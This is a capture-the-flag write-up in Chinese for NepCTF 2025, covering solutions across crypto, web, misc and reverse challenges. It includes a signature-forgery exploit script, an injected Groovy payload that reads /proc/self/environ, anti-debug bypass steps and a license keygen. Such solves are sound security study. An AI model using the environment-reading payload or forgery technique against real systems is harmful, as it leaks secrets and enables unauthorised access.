NepCTF2025 WP

这次逆向的题目质量都挺好的,各个考点都不错,拿下三个一血和一个三血。

Crypto

Nepsign

Gemini 2.5Pro一把梭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import socket
import ssl
from gmssl import sm3
import os
from ast import literal_eval
from tqdm import tqdm

HOST = '...'
PORT = 443


def SM3(data: bytes) -> str:
d = [i for i in data]
h = sm3.sm3_hash(d)
return h

def get_steps(msg: bytes) -> list[int]:
n = 256
hex_symbols = '0123456789abcdef'
m = SM3(msg)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(n // 8)]

step = [0] * 48

for i in range(32):
step[i] = a[i]

sum_vals = [0] * 16
for i in range(16):
for j in range(1, 65):
if m[j - 1] == hex_symbols[i]:
sum_vals[i] += j
step[i + 32] = sum_vals[i] % 255

return step

class Exploit:
def __init__(self, host, port):
self.host = host
self.port = port

sock = socket.create_connection((host, port))

context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

self.r = context.wrap_socket(sock, server_hostname=self.host)

print(f"[*] Connected to {host}:{port} with SSL using SSLContext.")
self.r.recv(1024)

def recv_until(self, delim=b'> '):
data = b''
while not data.endswith(delim):
data += self.r.recv(1)
return data

def sign_message(self, msg_hex: str) -> list:
"""Asks the server to sign a message and returns the signature."""
self.r.sendall(b'1\n')
self.recv_until(b'msg: ')
self.r.sendall(msg_hex.encode() + b'\n')
response = self.r.recv(4096).decode().strip()
self.recv_until(b'> ')
return literal_eval(response)

def verify_and_get_flag(self, qq: list) -> str:
"""Submits the forged signature for verification."""
self.r.sendall(b'2\n')
self.recv_until(b'give me a qq: ')
self.r.sendall(str(qq).encode() + b'\n')
flag = self.r.recv(1024).decode()
return flag

def run(self):
target_msg = b'happy for NepCTF 2025'
target_steps = get_steps(target_msg)
print(f"[*] Target message: {target_msg.decode()}")
print(f"[*] Required step values calculated.")

final_qq = [None] * 48

for i in tqdm(range(48), desc="[*] Forging signature parts"):
nonce_counter = 0
while True:
forge_msg = os.urandom(16)

if forge_msg == target_msg:
continue

current_steps = get_steps(forge_msg)

if current_steps[i] == target_steps[i]:
qq_forge = self.sign_message(forge_msg.hex())

final_qq[i] = qq_forge[i]
break

nonce_counter += 1

print("\n[+] Successfully forged all 48 signature parts.")

print("[*] Submitting final signature for verification...")
print(final_qq)
flag = self.verify_and_get_flag(final_qq)
print("\n" + "="*50)
print(f"🏁 FLAG: {flag}")
print("="*50)

self.r.close()

if __name__ == '__main__':
try:
import gmssl
except ImportError:
print("[-] Please install the required 'gmssl' library: pip install gmssl")
exit()

exploit = Exploit(HOST,PORT)
exploit.run()

# [*] Connected to nepctf31-d0qf-gter-lpkh-eq4whjx91414.nepctf.com:443 with SSL using SSLContext.
# [*] Target message: happy for NepCTF 2025
# [*] Required step values calculated.
# [*] Forging signature parts: 100%|███████████████████| 48/48 [05:27<00:00, 6.82s/it]

# [+] Successfully forged all 48 signature parts.
# [*] Submitting final signature for verification...
# ['39b010ac6302a552f2b377dfdbd0125e4dcaf8c94cf838bb8b139e79d09ddcec', '8f12c96114d5fcfa639c7d9fb6e9a953ec967fa30a04518ec49414d310bcedee', 'fa7538447f0da0558ec30fe5bdde244127959aedac4b32669a7e22baa19e3ed6', 'a2c8d562f8bc749f7e9fe7f5f4141c2006207b1b5550ae05beccfbaf0f53fe75', 'c1c9bf6d40ed4e14dd18ab9dd0bbbcad0dcdc4f12d8553fd30c7bb3f86c589aa', '05c8b9552e5e283ac0cee392807fdf7d1b98ae3538bd5ab0fd24a43f39c3a3c8', '78c8d76a69d1c5dd3563112a26271fa75730c8197597eabb7ffb9d64282f12ac', '4a23e84f467275db471b688e4e2fec0a0a435538a3766c3a5427debc95fab1d3', '85703b8a4050b34786ae994d1585944b711e7d5e6d474a3f4b0ac827bd1b4d46', '3280cfb408907e20292d0d702c4046e5f79b828142a36f1820e8b58b9a9c269e', '06fee77bb993584f78098ad550c9baf7eeb55d91526de2d4454dc4a1d2c2aa6f', '79d2f0bafc01ed11e1c5a772ab33cb31f49648680a5933e0a3c8993bfa3e6e0b', '84446dccf736fff63e7d9914c39976d08b7db7bd47c0fa42acfe21179f248553', 'b3c9d0724f7ca087dbf3283435c98888fbbb17db1f50215764d893c18850e1ad', '9728c58f692e84c0122f8d009a2e58ac560bef50ee1566b5b2d0ccfea1159e9d', '8bcd86f395b95ae16ab5ecad8e386f7f98b6fe829b6fbce1e83dc05dfd210017', '762c94adeb5167fc3df441ba83d8a8af68359579e368a568897fbb540784f225', '5d9d1f0b253eb1d4f5d289d393bc0ed0b7ce89a61d073a113088f3a7a8c06acb', 'cf24458be2e5f05f53ebdf54c848be56632a49e3a88d58221bae4be14856e9df', 'b0001d89142d2add384e3c4c236a743b345aa306d4f23e5689c73c43eab6d089', 'd62e08c88c402456b46e5d75e66a5d37e1b606d88e0bc6b2399d2ad19795025f', 'b2a30ead02ff626ee69b4c82a7c34c3376615352775d0ff317fcf9b88d4a082b', '27f04230c2f63eba8bd3c3166620a97c91e125eb21c5b70d7ff19a338880d1ed', '15d1668d22e79aa2ed3cec99a000738aa5a00466f0d5fe9e7a0ccb5d125e5694', '3852b4c577b06d584149ed18a5f40f928852738b0d6969926b6408af5ae3a03a', '2d92db3406e756b2914148350755186419d87648fdd52a7928e4579c7cd60c03', '49908b6da8adcfde75ab89901ee81b4a7be69536d07ad446a23336df3b250cfa', 'f16d19be270a5f2d27a9fabb4e71cdb60775e97724c880483fec6e1a96097f8e', '376f05bed3c4e6830086fe3dabe7739cddbc8404a5423a740b1a3a8e0344a0c9', '86bca065c621d9450f1ab47f7d7d093006cabf741f959aa14c8581f3bfbb5f40', '4551b1f456875b82962c13dcb34f697911761bb8caf387036c9492f1a9c082b9', '42ebce9edc6fd9513c6cdc69fd7f16e106a3d46c9908db96e01df593d2cb07b2', '9b6e783aee1ffbea5a7d16642beaca54388511aaf4303f1193f132f69bfa650b', '11473c8fb9d395f743c0210b731b6fb42d2e7ca99b1f06ca8fe01e4f6790f55f', 'eefa9bf5925c00244c5b7910da62098c6dc35cf1f282a64ad44c9e758aba6de8', '825e7a8a6d1909e602a820ada46488905a6163d88551af71b1b2fe5c32a8de9a', '47c381462cde495eb7cf484464f65d821df89183479a3a8b51890110c67b1e68', 'b83a6dd98d5b64f46f2a62a4eff1d6f5ed89a61d0d6e17aaee7c29797cbf1acd', '9019e02438e0113cd3fa9fd336ef511195e94c5163f2b3c6a881cefe8e653a89', '966cb62f086f2f3ada010cc9f34d760109629580416fc11dc38f1c90b386f408', '975c033da39a76eecd8a45adcee1097ace7c7f4d45344ac533cb78047a2f6d19', '69ba0387f210c6444c0fad1161d47467973a7ff5dcaeb5f48dc6bbcf5cc657e0', '583873a985f570097c0dfa418408009731bf07ee366364ac070ffc6c23bb3865', '797e77020143e42eee3b9e1b7a6bc3d1c6d50a13989db041fe1f15b389eaceaa', '683ba0fe4a480a12997f14ec664f389e13e5914978621f735fd0d9ad813fe2aa', 'a60bb1ca5235d3301b08844b22a058ef11966de77a66f4ef502794f7a9cd2fbd', '227edd3ef3443f9368e6b76d7fb2d3a298c1b4e5d1e57551a8f18a3a9fed45ed', '52e4b8362c85ef9af83099242887bac6db4e937de7b0c817d0a229d68cdaefda']

# ==================================================
# 🏁 FLAG: NepCTF{d6a4a58b-8b11-2ba3-4aa2-7643d50d25b6}
# ==================================================

Web

easyGooGooVVVV

Gemini 2.5Pro

alt text

exp:
this.getClass().getClassLoader().getResource("file:///proc/self/environ").text

RevengeGooGooVVVY

同上EXP。

exp:
this.getClass().getClassLoader().getResource("file:///proc/self/environ").text

Misc

NepBotEvent

从题目以及文件结构可分析出是input_event结构体数据。

1
2
3
4
5
6
struct input_event {
struct timeval time;
__u16 type;
__u16 code;
__s32 value;
};

解析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import struct
import argparse
import sys

KEY_MAP = {
0x01: "ESC",
0x02: "1", 0x03: "2", 0x04: "3", 0x05: "4", 0x06: "5",
0x07: "6", 0x08: "7", 0x09: "8", 0x0a: "9", 0x0b: "0",
0x0c: "-", 0x0d: "=", 0x0e: "[BACKSPACE]",
0x0f: "[TAB]",
0x10: "q", 0x11: "w", 0x12: "e", 0x13: "r", 0x14: "t",
0x15: "y", 0x16: "u", 0x17: "i", 0x18: "o", 0x19: "p",
0x1a: "[", 0x1b: "]", 0x1c: "[ENTER]\n",
0x1d: "[L_CTRL]",
0x1e: "a", 0x1f: "s", 0x20: "d", 0x21: "f", 0x22: "g",
0x23: "h", 0x24: "j", 0x25: "k", 0x26: "l", 0x27: ";",
0x28: "'", 0x29: "`",
0x2a: "[L_SHIFT]",
0x2b: "\\",
0x2c: "z", 0x2d: "x", 0x2e: "c", 0x2f: "v", 0x30: "b",
0x31: "n", 0x32: "m", 0x33: ",", 0x34: ".", 0x35: "/",
0x36: "[R_SHIFT]",
0x37: "[NUM_*]",
0x38: "[L_ALT]",
0x39: " ",
0x3a: "[CAPSLOCK]",
}

SHIFT_KEY_MAP = {
0x02: "!", 0x03: "@", 0x04: "#", 0x05: "$", 0x06: "%",
0x07: "^", 0x08: "&", 0x09: "*", 0x0a: "(", 0x0b: ")",
0x0c: "_", 0x0d: "+",
0x10: "Q", 0x11: "W", 0x12: "E", 0x13: "R", 0x14: "T",
0x15: "Y", 0x16: "U", 0x17: "I", 0x18: "O", 0x19: "P",
0x1a: "{", 0x1b: "}",
0x1e: "A", 0x1f: "S", 0x20: "D", 0x21: "F", 0x22: "G",
0x23: "H", 0x24: "J", 0x25: "K", 0x26: "L", 0x27: ":",
0x28: "\"", 0x29: "~",
0x2b: "|",
0x2c: "Z", 0x2d: "X", 0x2e: "C", 0x2f: "V", 0x30: "B",
0x31: "N", 0x32: "M", 0x33: "<", 0x34: ">", 0x35: "?",
}

def parse_keylog(file_path):
event_format = struct.Struct('2qHHI')

result = []
shift_pressed = False

try:
with open(file_path, 'rb') as f:
while True:
chunk = f.read(event_format.size)
if not chunk:
break

if len(chunk) < event_format.size:
continue

_, _, type, code, value = event_format.unpack(chunk)

if type == 1:
if code in (0x2a, 0x36):
if value == 1:
shift_pressed = True
elif value == 0:
shift_pressed = False
continue

if value == 1:
char = ''
if shift_pressed:
char = SHIFT_KEY_MAP.get(code, KEY_MAP.get(code, f"[UNK_KEY:0x{code:x}]"))
else:
char = KEY_MAP.get(code, f"[UNK_KEY:0x{code:x}]")

result.append(char)

except FileNotFoundError:
return
except Exception as e:
return
print("".join(result))

if __name__ == '__main__':
parse_keylog(r".\NepBot_keylogger")

#NepCTF{NepCTF-20250725-114514}

# whoami[ENTER]
# ifconfig[ENTER]
# uanme -a[BACKSPACE][BACKSPACE]uname -a[ENTER]
# ps -aux[ENTER]
# cat /etc/issue[ENTER]
# pwd[ENTER]
# mysql -uroot -proot[ENTER]
# show databases;[ENTER]
# ue[BACKSPACE]se NE[BACKSPACE][BACKSPACE]NepCTF-20250725-114514;[ENTER]
# show tables;[ENTER]
# Enjoy yourself~[ENTER]
# See u again.[ENTER]
# Hacked By 1cePeak:)[ENTER]
# [L_CTRL]c

SpeedMino

游玩游戏的可以发现背景是一直在变换,猜测是正在解密的flag,需要解密一定次数才行,直接CheatEngine齿轮加速100000000倍,让他加速解密,游戏结束前就会解密完。

alt text

alt text

MoewBle喵泡

CE附加,启用mono注入功能。

alt text

单击Lookup instances找到实例,将角色血量改高就不会死。

alt text

走遍地图接触每个点就可以得到各个部分flag,这边要吃一下最顶上的这个,才能解锁其中几个隐藏的。

alt text

提示缺失的第七段flag在GM面板获取。

alt text

找到GmManager,同样查找实例,然后调用这个OnKonamiCodeActivaied就可以激活GM面板。

alt text

点击右上角齿轮打开,getflag 7即可得到最后部分flag。

alt text

NepCTF{94721248-773d-0b25-0e2d-db9cac299389}

Reverse

RealMe

发现main函数下面有个函数,也是变体RC4加密,不过没被调用到,猜测是有反调试。

alt text

x32dbg动调,使用Scyllahide插件一键过反调试,断点该处代码,发现被调用,edx也就是sbox,直接提取出来,对main函数的密文解密即可得到flag。

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <iostream>
#include <windows.h>

unsigned int __cdecl sub_401A60(unsigned __int8 *a1, unsigned __int8 *a2, unsigned int a3)
{
unsigned int result{}; // eax
int v4{}; // ecx
unsigned __int8 v5{}; // al
unsigned __int8 v6{}; // [esp+D3h] [ebp-35h]
unsigned int i{}; // [esp+DCh] [ebp-2Ch]
int v8{}; // [esp+F4h] [ebp-14h]
int v9{}; // [esp+100h] [ebp-8h]

v9 = 0;
v8 = 0;
for (i = 0;; ++i)
{
result = i;
if (i >= a3)
break;
v9 = (v9 + 1) % 256;
v8 = (v8 + v9 * a1[v9]) % 256;
v6 = a1[v9];
a1[v9] = a1[v8];
a1[v8] = v6;
v4 = (a1[v8] + a1[v9]) % 256;
if (!(i % 2))
v5 = a2[i] + a1[v4];
else
v5 = a2[i] - a1[v4];
a2[i] = v5;
}
return result;
}

int main()
{
unsigned char data[256] = {
0x35, 0xE9, 0x55, 0xD7, 0x6E, 0x5F, 0x47, 0x3D, 0xCC, 0x9D, 0xD2, 0x6B, 0xEB, 0x52, 0x97, 0x19,
0xD5, 0xC5, 0x80, 0x0B, 0x64, 0x2B, 0xCD, 0xF6, 0x95, 0xB1, 0x31, 0x34, 0x31, 0x08, 0x43, 0xBE,
0x8C, 0x86, 0x16, 0x70, 0xFE, 0x36, 0x11, 0xFD, 0xA7, 0xB9, 0x55, 0xA0, 0x4E, 0x40, 0xDA, 0x08,
0x1F, 0x4B, 0xA2, 0x4C, 0x50, 0x47, 0x15, 0xCE, 0xC3, 0x8D, 0xB5, 0x00, 0xFB, 0x43, 0x07, 0x32,
0x1D, 0x5E, 0xDC, 0x4D, 0xF5, 0x19, 0x98, 0x0F, 0x8D, 0xB0, 0xEC, 0x48, 0xAB, 0x92, 0x15, 0xD6,
0xDA, 0x6F, 0x1B, 0x85, 0x45, 0x04, 0x84, 0x8A, 0x5B, 0x0E, 0x66, 0xB6, 0xA0, 0x1E, 0x2A, 0x6D,
0x3C, 0x8F, 0x26, 0xC7, 0x90, 0x89, 0xDC, 0x8B, 0x87, 0xE0, 0x82, 0x57, 0xCE, 0x66, 0x13, 0x4B,
0x49, 0x6A, 0x1F, 0x1A, 0x09, 0x32, 0x8E, 0x36, 0xAD, 0x65, 0x58, 0xBC, 0xD4, 0x5E, 0xD0, 0x2C,
0x68, 0xBF, 0xBD, 0xA1, 0x45, 0x17, 0x16, 0x05, 0x9A, 0x4C, 0xFC, 0x0B, 0xB9, 0x49, 0xDB, 0x6F,
0x37, 0x27, 0x30, 0x51, 0x69, 0x61, 0xD5, 0x75, 0xD3, 0x74, 0xEB, 0x4F, 0x23, 0x54, 0x0C, 0x1C,
0x70, 0xDE, 0xE9, 0x7F, 0x62, 0x25, 0xF4, 0x84, 0x3E, 0x2F, 0x76, 0x03, 0x7A, 0x79, 0x5F, 0xCA,
0x01, 0x07, 0x41, 0x57, 0xC4, 0x97, 0x04, 0x33, 0x6C, 0x42, 0x4E, 0x38, 0x0E, 0xE7, 0x93, 0xE2,
0x64, 0x3F, 0xB7, 0x5C, 0x5D, 0xE5, 0x59, 0x8C, 0x6D, 0xED, 0x34, 0x85, 0xDF, 0x62, 0x91, 0x09,
0x94, 0xB3, 0x05, 0x2E, 0x18, 0xD8, 0xBF, 0x7E, 0xAC, 0xAE, 0x9E, 0xD6, 0xC1, 0x3B, 0x54, 0x72,
0x22, 0x5C, 0xE7, 0xD0, 0x6B, 0x25, 0xFE, 0xFF, 0xFB, 0x3B, 0x2D, 0x7C, 0x65, 0x5A, 0xCD, 0xF0,
0xBD, 0x67, 0x74, 0x17, 0x02, 0x42, 0x2C, 0x2E, 0x5A, 0xA7, 0xD1, 0x73, 0x94, 0xAF, 0x89, 0x06};

uint8_t v7[35]{};
v7[0] = 'P';
v7[1] = 'Y';
v7[2] = 0xA2;
v7[3] = 0x94;
v7[4] = 0x2E;
v7[5] = 0x8E;
v7[6] = 0x5C;
v7[7] = 0x95;
v7[8] = 0x79;
v7[9] = 0x16;
v7[10] = 0xE5;
v7[11] = 0x36;
v7[12] = 0x60;
v7[13] = 0xC7;
v7[14] = 0xE8;
v7[15] = 6;
v7[16] = 0x33;
v7[17] = 0x78;
v7[18] = 0xF0;
v7[19] = 0xD0;
v7[20] = 0x36;
v7[21] = 0xC8;
v7[22] = 0x73;
v7[23] = 0x1B;
v7[24] = 0x65;
v7[25] = 0x40;
v7[26] = 0xB5;
v7[27] = 0xD4;
v7[28] = 0xE8;
v7[29] = 0x9C;
v7[30] = 0x65;
v7[31] = 0xF4;
v7[32] = 0xBA;
v7[33] = 0x62;
v7[34] = 0xD0;

sub_401A60(data, v7, 35);

for (int i = 0; i < 35; i++)
printf("%c", v7[i]);
return 0;
}

// NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

CrackMe

字符串定位到核心函数。

判断Password是否符合正则。

alt text

将Password直接unhex,判断转成的字节长度是否等于16。说明我们要输入32个字符。

alt text

主流程如下:

1.MD5_Custom(Username)的值作为密钥。

2.MD5_Custom(Username+”Showmaker11”)作为密文在下面判断

3.AES_Custom(Password, Key)

4.判断AES结果是否等于第二步的密文

解密就是MD5获取密钥,将第二步MD5值作为密文进行AES解密即可得到对应Password十六进制。

alt text

MD5是libcrypto.dll里面的函数,可以直接调用,不需要逆向。

AES也是libcrypto.dll的函数,但是存在代码流混淆和魔改,将代码块打乱到不同的位置,不过还是可以通过观察知道那些代码块对应AES流程中的哪一步。

可以找到Sbox,发现是没有魔改的值。

alt text

通过对比AES标准代码,去找一些关键点进行断点,且将密文密钥同步到标准AES代码调用,对此时程序的密文数据与标准AES的密文数据进行对比,看看是哪一步开始对不上,就是魔改的地方。

发现在MixColumns处出现数据对不上,可以看到对比标准代码多异或上了0x55。

alt text

alt text

经过修改标准AES代码,进行加密验证,发现和该程序的AES加密结果能对上,说明就只有MixColumns一处进行了魔改,这样就可以写注册机了。

注册机代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <iostream>
#include <windows.h>
#include <string>

#include "AES.h"

std::string GetPassword(std::string UserName)
{
auto hLibCrypto = LoadLibraryA("libcrypto_.dll");
DWORD* (*MD5_)(const char*, int, uint8_t*, int) = (DWORD * (*)(const char*, int, uint8_t*, int))(GetProcAddress(hLibCrypto, "sign"));

uint8_t Key[16]{};

MD5_(UserName.c_str(), UserName.length(), Key, 16);

uint8_t Cipher[16]{};

auto Str1 = UserName + "Showmaker11";

MD5_(Str1.c_str(), Str1.length(), Cipher, 16);

uint8_t Password_bytes[16]{};

// invMixColumns 异或 0x55
aesDecrypt(Key, 16, Cipher, Password_bytes, 16);

std::string Password;
for (int i = 0; i < 16; i++)
{
char Buffer[10]{};
sprintf_s(Buffer, "%02x",Password_bytes[i]);
Password += Buffer;
}

return Password;
}

int main()
{
std::cout << GetPassword("inkey") << std::endl;
return 0;
}

// 4ac06ab6f14dfc1bbfa65d00c9cd012b

最后将网页上的名称都存到本地文件,修改注册机代码,一键获取Password,然后手动填写到网页提交即可得到Flag。

alt text

alt text

QRS

运行,发现启动了一个服务,网页打开提示这个,应该是用input参数提交Flag进行Check。

alt text

IDA字符串搜索missing field,查看交叉调用找到调用方函数,断点在返回处。

alt text

调试运行程序,网页打开触发断点,往上走两层,走到如下函数。

alt text

在该函数下面会看到这边有个函数调用,如果网页访问带input参数传入文本,mark2函数就会传入input的明文,以及获取的一串key。

加密完,下面也从xmm获取数据,进行cmp比对,那么下面的那两串xmm数据就应该是密文,mark2是加密函数。

alt text

mark2核心加密代码如下,是一个魔改的Tea加密,而Delta使用GetTickCount,应该是未知的,但是实际调试发现不管什么时候这边获取到的TickCount都是固定的,值为:0x68547369。

alt text

提取密文和密钥,编写解密即可得到Flag。

解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <iostream>
#include <windows.h>

void Dec(DWORD &v24, DWORD &v25, DWORD Tick)
{
unsigned int key[4] = {
0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210};
DWORD TickCount = Tick;
int v26 = 48;
DWORD v28 = 0;

v28 = TickCount * 48;
do
{
v28 -= TickCount;
v25 -= (v24 + ((16 * v24) ^ (v24 >> 5))) ^ (v28 + TickCount + key[(((v28 + TickCount) >> 9) & 0xC) / 4]);
v24 -= (v25 + ((16 * v25) ^ (v25 >> 5))) ^ (key[v28 & 3] + v28);
--v26;
} while (v26);
}

int main()
{
unsigned int enc[8] = {
0x083EA621, 0xC745973C, 0xE3B77AE8, 0xCDEE8146, 0x7DC86B96, 0x6B8C9D3B, 0x79B14342, 0x2ECF0F0D};

DWORD v1{}, v2{};

for (int s = 0; s < 4; s++)
{
v1 = enc[s * 2], v2 = enc[s * 2 + 1];
Dec(v1, v2, 0x68547369);
enc[s * 2] = v1;
enc[s * 2 + 1] = v2;
}

printf("NepCTF{%.32s}\n", enc);

return 0;
}

// NepCTF{a4747f82be106d3f8c4d747c744d7ee5}

SpeedMino-Warlock

可以从文件结构知道使用了Love框架,右键exe用压缩包打开就可以得到lua源码。

main.lua里面解密出来是fake flag。

IDA加载version.dll,发现字符串存在lovely-injector,那么这个version.dll就是lovely-injector项目的,用于劫持注入修改lua代码。

alt text

由于该lovely-injector源码被出题人修改过,并没有输出任何文件或log到本地,只能通过其他方法得到即将被注入的lua代码,下面提供两种方法。

法一:CE直接搜索

原程序main.lua这部分代码是获取剪贴板内容,然后进行calcData加密与下面的假flag密文比对,尝试在CE搜索result_table,看看有没有其他的调用代码。

alt text

可以搜到两处。

alt text

可以看到其中一个是在一个没见过的lua代码里面调用的,这边从NEURO,也就是上面那些字节加载了一个luajit函数,传入result_table进行了Check,然后输出”PERFECT!”,那么上面这个luajit函数就是真实的Check函数。

alt text

法二:启用dump_all参数

查阅lovely-injector项目源码,发现init这边有个dump_all参数,用于dump即将要被注入的代码,

alt text

在version.dll的dllmain函数中,可以看到这边有判断是否有”–dump-all”参数,来启用dump_all功能。

alt text

断点给dump_all_bool赋值0的地方,步过执行一步,将rsi改成1,然后运行,就会弹出dump字节,也就是luajit代码。

alt text

alt text

luajit分析

将上面的得到的luajit字节输出到文件,使用https://github.com/weaweawe01/luajit_decompile项目进行luajit反编译,可以得到如下lua代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
slot1 = function(slot0, slot1)
slot2 = 0 + slot0 * 384 + slot1

while true do
slot3 = 2

while true do
if slot2 < slot3 * slot3 and (slot2 - 1) % 5 ~= 0 then
return slot2
end

if slot2 % slot3 == 0 then
break
end

slot3 = slot3 + 1
end

slot2 = slot2 + 1
end

return 383
end

slot2 = {
36506,
88774,
438822,
666001,
109051,
2124674,
2767204,
2610244,
3272321,
8662979,
5131975,
1034228,
6712315,
12760199,
20058866,
6854477,
6126314,
3871829,
13815442,
15034520,
38884726,
10742135,
26199509,
45230422,
46725610,
7627278,
21052590,
68432885,
48719842,
94974872,
55215219,
113201828,
86070272,
153897959,
136736481,
88243015,
108020790,
71691707,
157143593,
22399026,
41588356,
220309217,
86844145,
129645965,
240111657,
257783827,
92900284,
52969902,
27539801,
275411785,
364406385,
253200306,
389008554,
359199685,
337450915
}

return (function (slot0)
slot1 = 1
slot2 = {
359,
383
}

if #uv0 ~= #slot0 then
return false
end

for slot6 = 1, #slot0 do
if (64 + slot0[slot6])^5 % (slot2[slot6] * slot2[slot6 + 1]) ~= uv0[slot6] then
return false
end

slot2[slot6 + 2] = uv1(slot6, slot0[slot6])
end

return true
end)(slot0)

直接对应编写解密即可,然后还需要再解密一层CalcData加密。

解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import math

Enc = [
36506, 88774, 438822, 666001, 109051, 2124674, 2767204, 2610244,
3272321, 8662979, 5131975, 1034228, 6712315, 12760199, 20058866,
6854477, 6126314, 3871829, 13815442, 15034520, 38884726, 10742135,
26199509, 45230422, 46725610, 7627278, 21052590, 68432885, 48719842,
94974872, 55215219, 113201828, 86070272, 153897959, 136736481,
88243015, 108020790, 71691707, 157143593, 22399026, 41588356,
220309217, 86844145, 129645965, 240111657, 257783827, 92900284,
52969902, 27539801, 275411785, 364406385, 253200306, 389008554,
359199685, 337450915
]

def is_prime(n):
if n < 2:
return False
if n == 2 or n == 3:
return True
if n % 2 == 0 or n % 3 == 0:
return False
for i in range(5, int(math.sqrt(n)) + 1, 6):
if n % i == 0 or n % (i + 2) == 0:
return False
return True

def find_next_prime(index, byte_val):
n = (index * 384) + byte_val
while True:
if is_prime(n) and (n - 1) % 5 != 0:
return n
n += 1

def Dec1():
primes = [359, 383]
plaintext_bytes = []

for i in range(len(Enc)):
p = primes[i]
q = primes[i+1]
c = Enc[i]

# 分别求解 x^5 ≡ c (mod p) 和 x^5 ≡ c (mod q)
d_p = pow(5, -1, p - 1)
d_q = pow(5, -1, q - 1)
x_p = pow(c, d_p, p)
x_q = pow(c, d_q, q)

# 中国剩余定理合并解
inv_p_mod_q = pow(p, -1, q)
h = ((x_q - x_p) * inv_p_mod_q) % q
x = x_p + p * h

# 计算出明文字节
byte_val = x - 64
plaintext_bytes.append(byte_val)

# 计算下一个素数
next_prime = find_next_prime(i + 1, byte_val)
primes.append(next_prime)

return plaintext_bytes

def ksa(key: str) -> list[int]:
key_bytes = key.encode('ascii')
key_len = len(key_bytes)
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key_bytes[i % key_len]) % 256
s[i], s[j] = s[j], s[i]
return s

def Dec2(ciphertext: list[int]) -> bytes:
key = "Speedmino Created By MrZ and modified by zxc"

secret_box = ksa(key)

i = 0
j = 0

plaintext = []

for byte_data in ciphertext:
i = (i + 1) % 256
j = (j + secret_box[i]) % 256
secret_box[i], secret_box[j] = secret_box[j], secret_box[i]
keystream_byte = secret_box[(secret_box[i] + secret_box[j]) % 256]
decrypted_byte = (byte_data - keystream_byte + 256) % 256
plaintext.append(decrypted_byte)

return bytes(plaintext)

if __name__ == "__main__":
encrypted_data = Dec1()

decrypted_bytes = Dec2(encrypted_data)

print(decrypted_bytes.decode('utf-8'))

# NepCTF{Y0u_c4n_M0dDing_LOVE2D_g@mE_By_l0vely_iNjector!}

NepCTF{Y0u_c4n_M0dDing_LOVE2D_g@mE_By_l0vely_iNjector!}